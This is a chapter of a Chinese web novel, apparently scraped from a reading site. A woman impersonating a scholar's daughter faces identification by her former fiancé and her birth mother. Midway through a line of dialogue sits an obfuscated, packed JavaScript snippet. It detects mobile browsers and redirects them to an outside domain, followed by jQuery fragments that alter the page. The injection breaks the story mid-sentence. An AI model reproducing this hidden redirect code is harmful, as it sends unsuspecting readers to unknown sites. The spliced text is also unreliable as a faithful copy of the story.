022
身为官家小姐,一言一行不仅代表她自己,更代表整个家族。
才回京月余,就接连出现有损闺誉的事,如果说在国公府误入男子浴室是意外,那和山匪产生纠葛呢?
今后等着她的只有两条路,要么一条白绫保全名节,要么青灯古佛度过一生。
陈姨娘又转向孟浩倡和姜氏,声音哀婉,似是有无尽委屈:
“老爷、夫人,这种无凭无据就编排主子的奴才,咱们府上是断不能留的,不若把他们拔了舌头发卖了!”
李旺和李麽麽见状,跪在地上不住地磕头告饶。
李旺看向陈姨娘,见她毫不留情,丝毫不顾忌多年的情份。
事已至此已无退路,只得转口道:“老爷夫人,并非全是我家婆娘凭空捏造。”
“只是小的没有实据,刚刚才没敢说。”
“小的回京时,恰巧遇见了一位从安居县小儿岭出发,来京城参加乡试的学子,小的听他说起过那个被山匪杀害的村姑。”
李旺低着头,眼神游移不定,直到对上陈姨娘的视线,才把心一横,道:
“我家婆娘也是听我形容了那死掉的村姑相貌,觉着和咱府上如今的三小姐相像,这才有所猜疑的。”
孟浩倡本来已经打算走了,听到这里,他不由坐了回去,“那学子可还在京中。”
李旺赶忙回道:“正在京中的福来客栈,昨儿个还是我送他去住的店。”
遂又叫人押着李旺去福来客栈找人。
听到李旺只是从路人描述的长相中,察觉自己和同“死去”的村姑相像,孟锦歌稍稍松了一口气。
没有直接找来养育孟姑娘十几年的女尼,只能说明那些个女尼已经死在山匪刀下。虽然这样想不地道,但是如此也算“死无对证了”。
其实不需要找到人的孟姑娘的人,只要有人认出自己是曾小妹,那么假冒孟姑娘同样会被拆穿。
只是还不知道出于什么缘故,李旺并没有找来曾家村的村民指认自己。
只要熬过今天,就能找机会从孟府逃走,凭着自己现在“力能扛鼎”,就算是挖地道也能从孟府挖出去。
很快,孟锦歌又察觉了不对。
“小儿岭的学子”,若是没有记错,自己现在这副身体的原主曾小妹,她定亲的对象似乎就是当地唯一的秀才,不会真这么巧吧?
看见孟锦歌面色不好,在屏风后面探头窥探的孟锦瑶眉毛扬起,她杏眼微挑,看向孟锦歌的目光中透着说不出的幸灾乐祸,“我说这假的真不了,真的假不了,三妹妹还是莫要为此担心了。”
“只是,还不知道三妹妹还去过土匪窝啊,真是见多识广~”
孟锦玥拉了孟锦瑶一把,不让她再乱说话,又安抚地看着孟锦歌,“锦歌,你也别担心,相信父亲母亲会把这件事处理好的,定不会叫你受了委屈。”
孟锦瑶逮到机会嘲讽孟锦歌,自是不想轻易放过,不顾姐姐阻拦,还想继续讽刺她几句。
不料此时,姜氏竟也走到屏风后。
见姜氏来了,孟锦瑶不敢造次,赶忙正襟坐好,微微垂首,作出一副非礼勿视、非礼勿听的模样,哪里还有一点嚣张跋扈的样子。
姜氏的目光依次从几个女儿身上扫过,但她却什么也没说。
吩咐侍女搬来椅子,放在孟锦歌身边,姜氏挨着孟锦歌坐下,轻拍了拍她的手,示意她不要担心。
那学子来的很快,想来是被孟府的小厮一路架着来的,外面还下着雨,他脸色泛红,头上身上都是湿的,不知是雨水还是汗水。
这学子也算有几分胆识,进到孟府后便迅速理清思绪,确认自己跟孟府没有什么过节,这才整了整衣衫,对孟浩倡行礼道:
“晚辈冯怀瑾见过孟大学士。”
孟浩倡观冯怀瑾相貌堂堂,谈吐有度,已有赏识之意,若是他的学问也能如此出色,也不是不能点拨一二,只是现下不是讨论这些的时候。
孟浩倡同冯怀瑾客套了几句,才把想问的事问了。
“今日请你来是有事相询,刚刚府中的下人多有得罪,还请见谅。”
这冯怀瑾虽然初到京城,但他既然是为了今年的秋闱而来,又怎么会对京城的官场丝毫不知。
孟浩倡身为大学士,平日给皇家子弟授课,在仕林中颇有威望,能得见一面,已是多少学子求都求不来的机遇。
如今孟大学士能“有求”于他,冯怀瑾又怎能错过这个机会。
冯怀瑾:“晚辈仰慕大人许久,只苦于无从得见,今日能见大人已是三生有幸。大人若有需要,自当竭尽所能。”
孟浩倡:“听说一个多月前,安居县有一村姑被山匪所杀,可有此事?”
冯怀瑾:“确有此事。”
孟浩倡:“那村姑你可识得?能否于本官说说。”
听到问话,冯怀瑾叹默片刻,方才回道:
“她姓曾,名唤曾小妹,是曾家村曾屠户的女儿。”
“唉”,似乎轻轻叹了口气,冯怀瑾才道,“才不过十八岁。”
“曾屠户……”孟浩倡轻轻咀嚼这个名字,又问了一遍,“你可记得仔细?”
冯怀瑾再次躬身施了一礼,话语中既有郑重,又似有无限怅惘,“晚生自是不会记错。曾姑娘曾经与我有过婚约,若不是山匪作恶,我与她理应已经成了夫妻。”
果然,该来的躲不掉,这人竟真是和原身曾小妹定过亲的那个小秀才。
孟锦歌闭了闭眼,仿佛在等待命运的审判。
孟锦歌被叫出来与冯怀瑾辨认,谁知冯怀瑾只打眼扫了她一下,就立刻道:“孟大人,晚辈不曾见过这位姑娘。”
这声音如同天籁,把将要被宣判死刑的孟锦歌救出水火。
只一瞬间,孟锦歌的眼睛亮的像星星,强压下止不住上翘的嘴角、板着脸,才没有在众人面前失仪。
“你怎么能说没见过?”
李旺满脸的不可思议,“你不是说‘那村姑身形健硕,就是和寻常男子相较,要高上些许,’这个形容,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127885|180136||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
除了她还能有谁?”
对此,冯怀瑾只平静道,“这位姑娘身量确实不小,但看着却如弱柳扶风,不似已故的曾姑娘那般健硕。”
孟锦歌真想仰天大笑,感谢林姑姑的严格教导,才让我瘦身成功。
李旺仍旧不死心,“那相貌总不会变的,公子你再仔细看看?”
但是冯怀瑾并没有看向孟锦歌,只道,“男女八岁不同席,这是黄口小儿也懂的道理,我好歹读过圣贤书,又怎会不知?”
“事关女子清誉,我一个读书人,又怎会无故端详闺阁女子的容貌?曾姑娘我只远远看过一眼,和这位姑娘不似一人。”
确实,自孟锦歌从屏风后走出来,冯怀瑾只在孟浩倡要他认人时,草草看了孟锦歌一眼,之后就一直侧过身子,避开孟锦歌的方向。
孟浩倡点点头,对冯怀瑾的回答很满意,他的做法着实不失君子风范。
李旺仍旧不死心,继续为自己辩驳,“回老爷,小的去请冯公子时,他正与人交谈,那人是冯公子的同乡,小的已经把他们一起请过来了,老爷不妨让他们也认认?”
孟浩倡此时已经失去了耐心,相比于处置这些奴才,他对冯怀瑾的学问更感兴趣。
陈姨娘敏锐地察觉堂中气氛的变化,适时接口道,“老爷不若再留片刻,等见了人再做定夺,也让李旺服气?”
“可怜我的锦歌,这才刚回府就遭遇这些,以后也不知道要有多少闲言碎语。”
孟浩倡看着陈姨娘,“嗯”了一声同意了。这些年她本本分分,从未有过半分越矩,便也给她这个脸面。
“小妹?真的是小妹?”孟锦歌的心不过才放下,听到声音耳边似乎响起一道炸雷,心又一次被捏紧。
一个老妇突然就往孟锦歌身上扑,还好她旁边一个身材高大的男子手快,稳稳把人拽住。
“娘,你仔细看看,这哪里是小妹?还不快跪下行礼,不要冲撞了贵人。”
曾富贵低下头,不敢看向孟锦歌,拉着母亲给孟浩倡和孟锦歌跪下行礼。
曾母强迫自己转过脸,低下头时,已有两行清泪顺着面颊簌簌而下,一边叩头,一边认错,“都是俺胡言乱语,大人不要听我胡说,是俺一时花了眼,认错了人,还请大人不要怪罪。”
曾母跪伏在地,被雨水打湿的衣服在地上阴出一片水渍。
孟锦歌似乎听到了孟锦璋的惊呼声,和孟锦瑶嘲讽的嗤笑。她侧过身子,避开曾母的跪拜,眼眶酸涩,强忍着不让眼泪落下来。
孟浩倡的衣襟被门口灌进的风吹得微微鼓起,只静静看着跪在面前的母子,不知在想些什么。
孟锦歌闭了闭眼,不再抑制心中的悲戚,走到曾母身边,同娘亲和大哥一起跪在堂上。
自刚刚曾母那一声“小妹”喊出口,孟锦歌就知道她的身份已经是瞒不住了。
孟府的人不是傻子,曾母的掩饰又是如此拙劣。
陈姨娘不敢置信地捂住嘴,一边后退一边发出压抑的哭声,“锦歌,我的锦歌……”